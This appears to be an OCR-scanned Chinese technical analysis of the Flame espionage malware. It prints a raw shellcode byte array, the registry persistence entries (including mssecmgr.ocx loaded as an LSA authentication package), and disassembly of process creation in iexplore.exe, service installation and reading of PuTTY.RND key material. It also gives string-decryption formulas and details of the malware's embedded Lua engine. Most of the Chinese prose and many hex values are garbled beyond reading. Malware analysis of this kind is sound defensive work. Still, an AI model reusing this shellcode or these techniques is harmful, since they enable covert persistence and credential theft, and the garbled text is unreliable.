0x19,0x00,0xFF,0xFF,0xE9,0xD2,0x00,0x00,0x00,0xC7,0x45,0xF0,0x18,0x00,0xFF,0xFF,
0xE9,0xC6,0x00,0x00,0x00,0x8B,0x45,0x94,0x8B,0x40,0x0C,0x83,0xC0,0x0C,0x8B,0x38,
OXEB,0x0A,0x8B,0x4F,0x18,0x3B,0x4D,0xB4,0x74,0x08,0x8B,0x3F,0x3B,0xF8,0x75,0xF2,
0XEB,0x68,0x8B,0x47,0x1C,0x8B,0x4D,0xEC,0x89,0x41,0x04,0x8B,0x86,0x18,0x09,0x00,
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x83,0xC0,0x14,0x50,0x53,0xFF,0x56,0x04,
0x3B,0xC3,0x75,0x09,0xC7,0x45,0xF0,0x1A,0x00,0xFF,0xFF,0xEB,0x7E,0x8B,0x4E,0x20,
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0x89,0x48,0x10,0x8B,0x4E,0x38,0x89,0x48,0x0C,0x8B,0x4E,0x48,0x89,0x48,0x08,0x8B,
0x4D,0xEC,0xC7,0x00,0xBA,0xBA,0x0D,0xF0,0x89,0x48,0x04,0xFF,0xB6,0x18,0x09,0x00,
0x00,0x83,0xC0,0x14,0xFF,0xB6,0x14,0x09,0x00,0x00,0x89,0x45,0xB4,0x50,0xFF,0x56,
0x20,0x8B,0x45,0xB4,0x83,0xC4,0x0C,0x89,0x47,0x1C,0x8B,0x45,0xEC,0x39,0x58,0x04,
0x75,0x09,0xC7,0x45,0xF0,0x1B,0x00,0xFF,0xFF,0xEB,0x30,0x8B,0x4D,0xE8,0x89,0x08,
0x8B,0x4D,0xEC,0x33,0xC0,0x33,0xD2,0x83,0xC1,0x08,0x3B,0xC3,0x75,0x26,0x39,0x19,
0x75,0x02,0x8B,0xC1,0x42,0x81,0xC1,0x20,0x02,0x00,0x00,0x83,0xFA,0x28,0x72,0XxEA,
0x3B,0xC3,0x75,0x10,0xC7,0x45,0xF0,0x1C,0x00,0xFF,0xFF,0x8B,0x7D,0xF4,0xC6,0x45,
0xFA,0x01,0xEB,0x5F,0x8B,0x4D,0xE0,0x8B,0x7D,0xF4,0x89,0x48,0x04,0x89,0x38,0xC7,
0x40,0x08,0x01,0x00,0x00,0x00,0x8B,0x8E,0x1C,0x09,0x00,0x00,0x89,0x48,0x0C,0x8A,
0x8E,0x20,0x09,0x00,0x00,0x88,0x48,0x10,0x8B,0x8E,0x10,0x09,0x00,0x00,0x89,0x88,
0x1C,0x02,0x00,0x00,0x68,0x0A,0x02,0x00,0x00,0x8D,0x8E,0x04,0x07,0x00,0x00,0x51,
0x83,0xC0,0x12,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0x80,0x7D,0x0B,0x00,0x74,0x13,
O0xFF,0x75,0xE8,0x89,0x5D,0XEC,0x89,0x5D,0xE4,0xFF,0x56,0x38,0xC6,0x45,0xFB,0x00,
0x89,0x5D,0xE8,0x39,0x5D,0xEC,0x74,0x06,0xFF,0x75,0xEC,0xFF,0x56,0x34,0x39,0x5D,
0xE4,0x74,0x06,0xFF,0x75,0xE4,0xFF,0x56,0x4C,0x80,0x7D,0xFB,0x00,0x74,0x06,0XFF,
0x75,0xE8,0xFF,0x56,0x38,0x39,0x5D,0xE8,0x74,0x06,0xFF,0x75,0XE8,0xFF,0x56,0x4C,
O0xFF,0x75,0xC0,0xFF,0x56,0x54,0x39,0x5D,0xDC,0x74,0x06,0xFF,0x75,0xDC,0xFF,0x56,
0x5C,0x80,0x7D,0xFA,0x00,0xB8,0x1E,0x00,0xFF,0xFF,0x74,0x2C,0x39,0x5D,0xBC,0x 74,
0x0B,0x39,0x5D,0xE0,0x74,0x06,0x53,0x53,0x57,0XFF,0x55,0xE0,0x80,0xBE,0x20,0x09,
0x00,0x00,0x00,0x74,0x06,0x57,0xFF,0x56,0x34,0xEB,0x0A,0x68,0x00,0x80,0x00,0x00,
0x53,0x57,0xFF,0x56,0x08,0x8B,0x45,0xF0,0x89,0xBE,0x2C,0x0B,0x00,0x00,0xEB,0x05,
0xB8,0x05,0x00,0xFF,0xFF,0x5F,0x5E,0x5B,0xC9,0xC2,0x04,0x00,0x68

55 =B LT Shell Code ML IT 5 N\ -
BNEHEN, KEH 4
0x00,0x00,0x00,0x00
S0V BT ) Shell Code HULENFFE 5 N :
Shell Code 41 I 3, K% 0x5€2330
Ja =AU I K £ CreateRemoteThread bR HUR B LI FELERE, AT NIA 5 AN F| Services.exe HEFEH

Flame IR REFESITIRS

] Shell code.

RIIE AT B A -

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SeCEdit

B SELA S AR

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZonelnformation

W StandardSize, BHUhRAERA]

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{ 75048700-EF
1F-11D0-9888-006097DEACFI}\Count\HRZR_EHACNGU:(ahyy)

Y. 2KM:REG_BINARY KJ¥: 16 (0x10) F¥i s

ORXKIRINEFE , RIDTHRIEE, $B13|
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0500000006 000000203E4429E354CD 01 | ........ >D)#iI?
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11
. XA REG_BINARY KJ¥: 56 (0x38) 71 s

000000: 36 00 31 00 00 00 00 00 C8 40 0OAOF 100066 6C | 6.1.....)%... fl

000010: 61 6D 65 00 22 00 0300 04 00 EFBE DC 40 EF 1C | ame.".... 2 E#?

000020: DC 40 18 1D 14 00 00 00 66 00 6C 00 61 00 6D 00 | §#......f.L.a.m.

000030: 65 00 00 00 14 00 00 00 | €.
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0
. J5A) REG_BINARY KJ¥: 78 (Oxde) ¥ s

000000: 4C 00 3100 00000000 C7 40 EA3910006D 73 | L.1...5¥?.ms

000010: 73 65 63 6D 67 72 2E 6F 63 78 000030000300 | secmgr.ocx..0...

000020: 04 00 EF BE DC 40 F51C DC 4009 1D 14000000 | ..f3#E20......

000030: 6D 00 73 00 73 00 65 00 63 00 6D 00 67 00 7200 | m.s.s.e.c.m.g.r.

000040: 2E 00 6F 00 63 00 78 00 00 00 1C 00 00 00 | .0.CX.......
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0\0
. 2% REG_BINARY KJ¥: 54 (0x36) i s

000000: 34 00350000000000DC40CB 1B1000 D853 | 4.5...57. 2

000010: CD 7931000000 1E0003000400EFBEDC 40 | #1......... BRI

000020: F6 1C DC 4008 1D 14000000 D853 CD 793100 | ?8..... Bk 1.

000030: 00 00 16 00 00 00 |
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0\0\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\O\O\MRUL.stEx
Y. J9%:. REG_BINARY KJ¥: 4 (0x4) 71 s

FF FF FF FF |
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0\0\NodeSlot
HfH: DWORD: 96 (0x60)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\O\AMRUL.istEx
H{E: 2% REG_BINARY KJ¥:8(0x8) ¥ s

00 00 00 00 FF FF FF FF |
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\0\NodeSlot
H#{H: DWORD: 95 (0x5f)

ORXKIRINEFE , RIDTHRIEE, %147\
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HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\MRUL.istEx
Y. 5% REG_BINARY KJ¥:8(0x8) 7 s

00 00 00 00 FF FF FF FF |
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\BagMRU\11\NodeSlot
B{H: DWORD: 94 (0x5e)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\Shell\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\Shell\Address
H{H: DWORD: 4294967295 (Oxffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\Shell\Buttons
H{H: DWORD: 4294967295 (Oxffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\Shell\Col
H{H: DWORD: 4294967295 (Oxffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShelINoRoam\Bags\94\Shell\ColInfo
. 287 REG_BINARY KJ¥:112 (0x70) Fi s

000000: 00 00 00000000 00000000000000000000 | .ecvevvrerrenne

000010: FD DF DF FD OF 00 04 00 20 00 10 00 28 00 3C 00 | WE L. (<

000020: 00 00 00 00 01 00 00 000200000003 000000 | ..cccvvvvreee

000030: B4 00 60 00 78 00 78000000 000001000000 | ?"X-Xeevone

I
VAR INEEIE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages
¥ 28AREG_MULTI_SZ KJ&:21 (0x15) Fi s

6D 73 76 31 5F 30 00 6D 73 73 65 63 6D 67 72 2E | msvl_0.mssecmgr.

6F 63 78 00 00 | ocx..
IH: 287%: REG_MULTI_SZ KJ&:8(0x8) T s

6D 73 76 31 5F 30 00 00 | msvl 0.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\L.cnEndLocation
B FATH: "10675834"
IH; 54k 0"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnStartLocation
. FRFH: "10485101"
IH:  F4FeR: 0"

ORXKIRINEFE , RIDTHRIEE, $15]|
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeComplete

B FATH: "Yes"

IH: “#fFH: "No"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeError

B R

IH: F%FH: "Missing Registry Entries”

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit

HKLM\Software\Microsoft\Internet Explorer\LowRegistry

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option

HKLM\SYSTEM\CurrentControlSet\Control\TimeZonelnformation

HKLM\SOFTWARE\Symantec\Norton AntiVirus

HKLM\SOFTWARE\Symantec\InstalledApps

HKLM\SOFTWARE\KasperskyLab\avp6\settings

HKLM\SOFTWAREWMlicrosoft\Windows NT\CurrentVersion\Winlogon

HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings

HKLM\SOFTWARE\KasperskyLab

HKLM\SOFTWARE\Symantec\SymSetup\Internet security

HKLM\SOFTWAREWMiicrosoftt\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

HKLM\SOFTWARE\Microsoftt\Windows\Current\ersion\Policies\System

HKLM\SOFTWARE\Symantec\Symantec AntiVirus

HKLM\SY STEM\CurrentControlSet\Control\Lsa

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

HKIU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

HKLM\Software\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\%s\properties

KL Flame @1 ZGH A TRE 1, Bk EL 5 N AH Iy Pageant” (& 1 IF [ FAGATH . 24
i\ Pageant &4 Putty F2/F HVGEREE T B, wJCLRINAH PR, 25 38— S i I 55 28 I 4 N\ %505 Pageant
KR ORAT, DUE A 25 N BT

SendMessageA( Msg=0x4a,wParam=0x00,IParam=0x804e50ba)

KL Flame % & ACHS A2 — 50, SRJGEIEBEFE lexplorer.exe F1 H BRI\ S THI 156 B A5 1 2 (1) S T
F]RE IS B RGHUE ) H

mov [ebp+Startupinfo.cb],
mov , IpszDesktop
mov [ebp+Startupinfo.lpDesktop], ; set desktop

ORXKIRINEFE , RIDTHRIEE, $16|
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mov [ebp+CommandLine], bl
mov esi, 104h
push esi
push ebx
lea eax, [ebp+VersionInformation]
push eax ; pVersionInformation
call 0x101A1130
add esp, 0Ch
push esi ; nSize
lea eax, [ebp+CommandLine]
push eax ; "%ProgramFiles%\Internet Explorer\iexplore.exe”
push environment_strings
call ExpandEnvironmentStringsA
cmp eax, ebx
jz 0x100E3157
cmp eax, esi
ja 0x100E3157
lea eax, [ebp+Processinformation]
push eax ; IpProcessInformation
lea eax, [ebp+Startupinfo]
push eax ; IpStartupInfo
push ebx ; IpCurrentDirectory
push ebx ; IDEnvironment
push 4 ; dwCreationFlags
push ebx ; bInheritHandles
push ebx ; IpThreadAttributes
push ebx ; IpProcessAttributes
lea eax, [ebp+CommandLine]
push eax ; InCommandLine
push ebx ; IpDApplicationName
call ds:CreateProcessA

AT RIKE SQL iEH, XEFAIRIRME SQLite HodE B IS EHE

Flame IRREFEDITIRS

SELECT 'INSERT INTO vacuum_db." || quote(name) || ' SELECT * FROM main." || quote(name) || ;’FROM
main.sglite_master WHERE type = 'table’ AND name!='sqlite_sequence' AND rootpage>0

UPDATE %s SET Grade = (SELECT %0d/%d.0*(rowid - 1) FROM st WHERE st.ProdID = %s.ProdID);
ELECT 'DELETE FROM vacuum_db." || quote(name) || ;' FROM vacuum_db.sqlite_master WHERE

name='sqlite_sequence’
INSERT OR REPLACE INTO Configuration (Name, App, Value) VALUES('%s','%s" ,'%s');

INSERT OR IGNORE INTO %s (Name,App,Value) Values(STORAGE_LENGTH','%s'",0);

UPDATE sqlite_master SET sql = sglite_rename_parent(sql, %Q, %Q) WHERE %bs;

ORXKIRINEFE , RIDTHRIEE,
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INSERT INTO %Q.%s VALUES('index’,%Q,%Q,#%d,%0Q);
UPDATE %s SET Value = Value - old.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s’;
UPDATE %s SET Value = Value + 1 WHERE Name = 'STORAGE_LENGTH" AND App = '%s";

SELECT 'INSERT INTO vacuum_db." || quote(name) || ' SELECT * FROM main." || quote(name) || ;' FROM
vacuum_db.sqlite_master WHERE name=='sqlite_sequence’;

UPDATE %s SET Value = Value - 1 WHERE Name = 'STORAGE_LENGTH" AND App = '%s";
UPDATE %s SET Value = Value + new.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s";
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sqgl, %Q), tbl_name = %Q WHERE %os;

UPDATE %0Q.%s SET sqgl = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %6Q)ELSE
sglite_rename_table(sql, %Q) END, thl_name = %Q, name = CASE WHEN type='table’' THEN %Q WHEN
name LIKE 'sglite_autoindex%%" AND type='index' THEN 'sqlite_autoindex_" || %Q || substr(name,%0d+18)
ELSE name END WHERE tbl_name=%Q AND (type='table’' OR type='index' OR type='"trigger’);
INSERT OR IGNORE INTO %s (Name,App,Value) Values(STORAGE_SIZE',"%s',0);

5. WQL
WQL HI-4FR 2 WMI Query Language, f&#kAF WQL, Windows EEMEEHES .
root\ CIMV2

select * from Win32_LogicalDisk

SELECT * FROM __InstanceOperationEvent WITHIN %d WHERE Targetinstance ISA
"Win32_LogicalDisk'

select ProcessID, Name from Win32_Process
6. BIEUTHAEE
\.\pipe\navssvcs
\.\pipe\PipeGx16
\.\\pipe\spoolss
I R R R B R B AE SN AE [ 4 2 X EE4R - FF AN IR AL 7 AR T D g, o 1 20 G AR

push ebp

mov ebp, esp
push ebx

push esi

push edi

ORXKIRINEFE , RIDTHRIEE, %18}
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mov eax, eax
push ebx
push eax
pop eax
pop ebx
pusha
popa
mov esi, [ebp+8]

Flame 7& S R 2R FEAS OB, $THF GRS, N#EE1T Rdevit32.exe F2)F .

push edi ; IpPassword

push edi ; IpServiceStartName
push edi ; IpDependencies
push edi ; IpdwTagld

push edi ; IpLoadOrderGroup
push PathName ; IpBinaryPathName =
;"%windir%)\system32\rdcvIt32.exe"

push edi ; dwErrorControl
push 3 ; dwStartType

push 10h ; dwServiceType
push O0F01FFh ; dwDesiredAccess
push DisplayName ; IpDisplayName
push ServiceName ; IpServiceName
push eax ; hSCManager

call CreateServiceA

cmp eax, edi

IF HAE QIR SE M55 Ja B IR B, JFMHBR AR 55 35 B T 0 R AH IR

mov eax, [ebx+4]

mov byte ptr [eax+6], 1
call start_service

mov [ebp-1], al

mov eax, edi
call delete_service
cmp al, 1

jnz 0x1011BCD9

7. BB R EINE S AT
BB N B A AR AR KB AR R Ak SRAT A S0 B it kO 5

ORXKIRIETA , INDTHREERE
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n [the offset of the
decrypted byte]+

Parameter «
a.b.c¢

+

M=(a-+n)*(b-n)+c¢

+

+

M1 M2 M3 M4+

BYTE_ Decrypted =BYTE_ Encrypted— (M1"M2"M3"M4)¢

3-5 MEEE
B AR RS BN 0T

Mssecmgr.ocx  OxBh 0xBh+0xC [0x10376F70h M=(0xBh+n)*(0xBh+0xCh+n)+[0x101376F70h]
h ]

Msglu32.ocx 0xBh 0xBh+0xC [0x101863EC  M=(0xBh+n)*(0xBh+0xCh+n)+[0x101863ECh]
h h]

Advnetcfg.ocx  Ox1Ah 0x5h 0 M==(0xAh+n)*(0x5h+n)

Nteps32.0cx O0x1Ah 0x5h 0 M==(0xAh+n)*(0x5h+n)

Soapr32.ocx 0x11h 0xBh 0 M==(0x11h+n)*(0xbh+n)

Noname.dll 0x11h 0xBh 0 M==(0x11h+n)*(0xbh+n)

Jimmy.dll 0xBh 0xBh+0x6 0x58h M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
h

Comspol32.0cx  0xBh 0xBh+0x6 0 M=(0xbh+N)*(N+0xbh+0x6h)
h

Browse32.ocx  0xBh 0xBh+0xc 0 M=(0xbh+N)*(N+0xbh+0xch)
h

ORXKIRINEFE , RIDTHRIEE, %203,



z
AN:Y H *

R I Flame 28X PUTTY fill#d Key MIIGIS SCAENEE, AT RE AR E THE 4 .
%Documents and Settings%\Administrator\PUTTY.RND

lea eax, putty_file_path[eax]

push eax ; IpBuffer

push offset st HOMEPATH ; decode:"HOMEPATH"
call my_decode_strA ; decode: "HOMEPATH"

pop ecx
push eax ; IpName
call edi ; GetEnvironmentVariableA

test eax, eax
jnz short 0x10073E35

push esi ; uSize
push ebx ; IpBuffer
call ds:GetWindowsDirectoryA
push ebx ;cl

call 0x101A1370

pop ecx

mov esi, eax

jmp short 0x10073E3B

add [ebp+var_4], eax

mov esi, [ebp+var_4]

push offset str_ PUTTY_RND ; data

call my_decode_strA ; decode : "\PUTTY.RND"
push eax

lea eax, putty_file_path[esi]

push eax

call 0x101A1270 ; catpath

push ebx ; hTemplateFile

push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push ebx ; IpSecurityAttributes
push 3 ; dwShareMode

push 80000000h ; dwDesiredAccess

push offset putty_file_path ; IpFileName
call ds:CreateFileA

cmp eax, OFFFFFFFFh

mov [ebp+hObject], eax

jz short 0x10073EE6
push esi
mov esi, ds:ReadFile ;read putty.rnd file

Flame &I Lua AR IR 25 G PR AR A
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108262868
18262860
108262870
10262874
108262878
1826287C
108262880
108262884
18262888
1826288C
18262890
108262894
18262898
1826289C
182628A08
108262804
18262808
182628AC
182628808
18262884
18262888
182628BC
182628CAH
182628CY
182628C8
182628CC
1082628008
18262804
18262808
182628DC
1082628E8
102628EY
182628E8
182628EC
102628F08
102628FY
182628F8
182628FC

10262744

108262740
1826275,
182627608
18262768
10262774
182627808
18262780

18262798

18262704
182627808

182627BC

182627CY
18262708

182627CC

18262708
18262704

18262708

1826270DC
182627EB

182627EL

182627ES
182627F08

102627FL

182627F8
182627FC
108262800
18262808
1082628108

108262818

18262824
1826282C
108262834
1826283C
108262848
1082628508
18262858
1082628608

ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII
ASCII

"“MOUE*"
“LOADK™
“LOoADBOOL™
“LOADMIL™
“GETUPUAL™
“GETGLOBAL"
“GETTABLE"
“SETGLOBAL™
“SETUPUAL™
“SETTABLE"
"MEWTABLE"
“SELF*
“ADD*
“SuBt
“MUL*
DU
“MOoD*
PO
UMK
“HOT*
“LEHW"
“COMCAT™
AMpP

vEQ™

TR

"L
“TEST™
“TESTSET"
“CALL®
“TAILCALL™
“"RETURH"
“FORLOOP*
“"FORPREP"
“TFORLOOP*
“SETLIST™
“CLOSE™
“CLOSURE™
“"UARARG™

B 3-6 ERNHFEPLIM—L LUA EREF

TN Lua J5 301

const char *const luaP_opnames[NUM_OPCODES+1] = {

ORKIRINFA , WIBTIREER

Flame IR REFESITIRS
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"NEWTABLE",
"SELF",
"ADD",
"SUB",
"MUL",
"DIV",
"MOD",
"POW",
"UNM",
"NOT",
"LEN",
"CONCAT",
"JMP",
"EQ",
LT,
"LE",
"TEST",
"TESTSET",
"CALL",
"TAILCALL",
"RETURN",
"FORLOOP",
"FORPREP",
"TFORLOOP",
"SETLIST",
"CLOSE",
"CLOSURE",
"VARARG",
NULL

}

RIVNETE B, TR XORIURE Lua AURS RIS BB S AR R S A PR Lua AR5 4 it
FEF

I Flame P 3ALE 1Y Lua FRRS R4S Lua 5.1

mov eax,edi

call mssecmgr.100B8FOF

push mssecmgr.1026195C ; ASCII"_G"
mov eax,edi

call mssecmgr.100B9417

pop ecx

mov eax,mssecmgr.10261778

mov ebx,mssecmgr.10261960 ; ASCII"_G"
mov ecx,esi

call mssecmgr.100B9DB3
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push 0x7

push mssecmgr.10261964 ;  ASCII "Lua 5.1"
mov eax,esi

call mssecmgr.100B9142

push mssecmgr.1026196C ; ASCIl"_VERSION"
mov eax,edi

call mssecmgr.100B9417

add esp,0xC

push mssecmgr.100CF1E6

push mssecmgr.100CF23B

push mssecmgr.10261978 ; ASCII "ipairs"
mov eax,esi

call mssecmgr.100CFAE?

add esp,0xC

push mssecmgr.100CF171

push mssecmgr.100CF1B0

push mssecmgr.10261980 ; ASCII "pairs"
mov eax,esi

call mssecmgr.100CFAE?

add esp,0xC

push 0x1

push 0x0

mov eax,esi

call mssecmgr.100B932F

or eax,-0x1

call mssecmgr.100B8FOF

push -0x2

pop eax

call mssecmgr.100B953A

push 0x2

push mssecmgr.10261988 ;  ASCII "kv"

& 3-7 Flame ¢

static void base_open (lua_State *L) {
[* set global _G */
lua_pushvalue(L, LUA_GLOBALSINDEX);
lua_setglobal(L, " G");
[* open lib into global table */
luaL_register(L, " G", base_funcs);
lua_pushliteral(L, LUA_VERSION); //LUA VERSION : "Lua5.1"
lua_setglobal(L, " VERSION"); /*set global VERSION */
[* “ipairs' and “pairs' need auxliliary functions as upvalues */
auxopen(L, “ipairs", luaB_ipairs, ipairsaux);
auxopen(L, "pairs", luaB_pairs, luaB_next);

ORXKIRINEFE , RIDTHRIEE, $24T]
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/* “newproxy' needs a weaktable as upvalue */

lua_createtable(L, 0, 1); /* new table "w' */

lua_pushvalue(L, -1); /* "w' will be its own metatable */
lua_setmetatable(L, -2);

lua_pushliteral (L, "kv");

lua_setfield(L, -2, " mode™); /* metatable(w).__mode = "kv" */
lua_pushcclosure(L, luaB_newproxy, 1);

lua_setglobal(L, "newproxy™); /* set global “newproxy' */

3-8 Lua k%8

Flame " R.& 4585 Luab.1 —3.

18261778 182616A4
1826177C 18BCF3AE
182617868 182616AC
18261784 186CFBRY
18261788 182616BC
1826178C 18BCECFD
18261798 18261604
18261794 186CFB52
18261798 182616CC
1826179C 18BCEEEA
18261708 182616D4
1826117A4 18BCEDG3
18261708 102616EL4
182617AC 18BCF35F
18261788 182616EC
18261784 188CF28F
108261788 102616F8
182617BC 18BCF171
182617C8 18261788
182617C4 10BCF522
182617C8 10261708
182617CC 18BCEFB2
18261708 18261714
18261704 10BCEFE4
18261708 1826171C
182617DC 18BCFB16
182617E8 18261724
182617E4 10BCF42A
182617E8 1826172C
182617EC 18BCEF28
102617F 8 18261734
182617F4 18BCEDAY
182617F8 18261744
182617FC 18BCECAA
108261806 102617508
108261804 10BCF5ChH
182618688 1826175C
18261868C 18BCF147
18261816 10261764
18261814 10BCF3F9
18261818 1826176C
1826181C 18BCF56E

ASCII "assert™
mssecmgr . 188CF3AE

ASCII *"collectgarbage™

mssecmgr . 188CF 887
ASCII “error™
mssecmgr .18BCECFD
ASCII "gcinfo™
mssecmgr . 188CF 852
ASCII "“getfenu”
mssecmgr .1 8BCEEEA
ASCII ""getmetatable™
mssecmgr . 188CEDG3
ASCII "load"
mssecmgr . 1BBCF35F
ASCII "loadstring”
mssecmgr . 188CF28F
ASCII "next"
mssecmgr . 18BCF171
ASCII *“pcall”
mssecmgr . 18BCF522
ASCII "rawequal®™
mssecmgr . 188CEFB2
ASCIT "rawget™
mssecmgr . 18BCEFEL
ASCII “rawset™
mssecmgr . 188CF 816
ASCII "select™
mssecmgr . 188CF49A
ASCII "setfenu*
mssecmgr . 188CEF28
ASCII "setmetatable*
mssecmgr .18BCEDA?
ASCII "tonumber*
mssecmgr . 188CECBA
ASCII "tostring"
mssecmgr . 18BCFSCL
ASCII “type*
mssecmgr . 188CF 147
ASCII "unpack"
mssecmgr . 18BCF3F9
ASCII “xpcall™
mssecmgr . 188CF56E

3-9Flame Y LUA 583

static const luaL_Reg base_funcs[] = {

{"assert", luaB_assert},

{"collectgarbage", luaB_collectgarbage},

ORXKIRINEFE , RIDTHRIEE,
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{"dofile", luaB_dofile},
{"error", luaB_error},
{"gcinfo", luaB_gcinfo},
{"getfenv", luaB_getfenv},
{"getmetatable”, luaB_getmetatable},
{"loadfile", luaB_loadfile},
{"load", luaB_load},
{"loadstring", luaB_loadstring},
{"next", luaB_next},

{"pcall", luaB_pcall},

{"print", luaB_print},
{"rawequal”, luaB_rawequal},
{"rawget", luaB_rawget},
{"rawset", luaB_rawset},
{"select", luaB_select},
{"setfenv", luaB_setfenv},
{"setmetatable”, luaB_setmetatable},
{"tonumber", luaB_tonumber},
{"tostring", luaB_tostring},
{"type", luaB_type},
{"unpack", luaB_unpack},
{"xpcall”, luaB_xpcall},
{NULL, NULL}

B 3-10Lua5.1 FHIgEH

ifi Luab5.1 FRA R ARG (I R) )y 2006 4F 2 H 21 H, Lua 5.2 AR A H N 2011 4F 12 H 16 H. Xt
PAEW] T Flame FIJT AN 8] 509 2006 4 2 H 21 H £ 2011 4F 12 H 16 H 2.

[F) A 7E A TS AR R T KB ) Lua JIAS 6 4 DL B S35 -6 4 Misseemgr.oex SO HR {3 A Lua
TR B O P9 25 ) T DUE I Ik 46 o 2 R A B0 Lua i A T

7F E 2P Uk 10266CE 4b & AT LA RawDES 532 F (19414l RawDES_Spbox.

T I P L () R BOEAT AT, BRZFE RS T des I HE

YR

AL P L hE P R AT 0 M o KB I R b A 16 b 3h iH RRIA . S DES N SE i 2
FHAE. THRHEAEUES, 5T 5 SR E R DES Hi M5 7 RILAS.

XFRRBURIH], S = A IS % 4

int  0x10084393 (int a1, unsigned int a2, int a3, int a4)

LRI B BB A A, BEAT ] B B, SAAUS IR

ORXKIRINEFE , RIDTHRIEE, %26
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56t N\ DB DF AC A2 1EA3CHF3k, RJE X RURIZ 7 i

AW {7 T2 T A& 0XA9:

AR, WE S AT 5 R S B, 45 RO A R A o

Flame IRREFEDITIRS

AR, ¥ EDX BN OXA9 5, 5 EDX SwEk, 1545 RAE 51— 5 MEdE . &5

75 Y B 45 RO T i -
10050898 mov al,byte ptr ds:[esi]
1005089A test al,al

1005089C  je short 0x100508A9
1005089E  cmp al,0xA9
100508A0 je short 0x100508A9
100508A2 mov edx,0xA9
100508A7  jmp short 0x100508AB
100508A9 xor edx,edx
100508AB  xor al,dl

100508AD  xor cl,al

100508AF  mov byte ptr ds:[edi+esi],cl

100508B2 inc esi

100508B3  dec dword ptr ss:[esp+0xC]

100508B7  jnz short 0x10050898

23 %F Flame 1/ Lua pREH 53 HT)

K I Flame P Lua BIAR T . B P ARG R

Lua FREE A — 103k, ARG TEIX SR PR AT Key,Value TR IMBE(E, JRakiBid skt e g, REkx
HHRE I Key MMEHCHIR, 1F08 Lua ST WBU MBS, Flame (3R 44, e Key (1944 5 4 i 4R

FENNEAT Ak, 8 IR AR L

MoV eax,esi

call mssecmgr.100B932F

mov esi,dword ptr ds:[edi+0xD4]
push mssecmgr.10304B78

call mssecmgr.1000E431

add esp,0xC

push eax

call mssecmgr.100B917A

mov eax,dword ptr ds:[edi+0xBC]
mov edx,dword ptr ds:[edi+0xD4]
pop ecx

push eax

lea ecx,dword ptr ds:[edi+0xB0]
call mssecmgr.1000757C

push eax

movV eax,edx

call mssecmgr.100B9142

ORXKIRIETA , INDTHREERE

lua_createtable

decode string "script"

lua_pushstring

lua_pushlstring
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mov esi,dword ptr ds:[edi+0xD4]
pop ecx

pop ecx

push -0x3

pop eax

call mssecmgr.100B93F4

lea ecx,dword ptr ds:[edi+0x8C]
mov eax,dword ptr ds:[ecx]

mov esi,dword ptr ds:[ebx+0xD4]
push mssecmgr.10304BB0

call mssecmgr.1000E431

pop ecx

push eax

mov eax,-0x2712

call mssecmgr.100B9285

mov esi,dword ptr ds:[ebx+0xD4]
mov dword ptr ss:[esp],mssecmgr.10304BCC
call mssecmgr.1000E431

pop ecx

push eax

call mssecmgr.100B917A

mov esi,dword ptr ds:[ebx+0xD4]
pop ecx

push -0x2

pop eax

call mssecmgr.100B9269

mov esi,dword ptr ds:[ebx+0xD4]
push -0x2

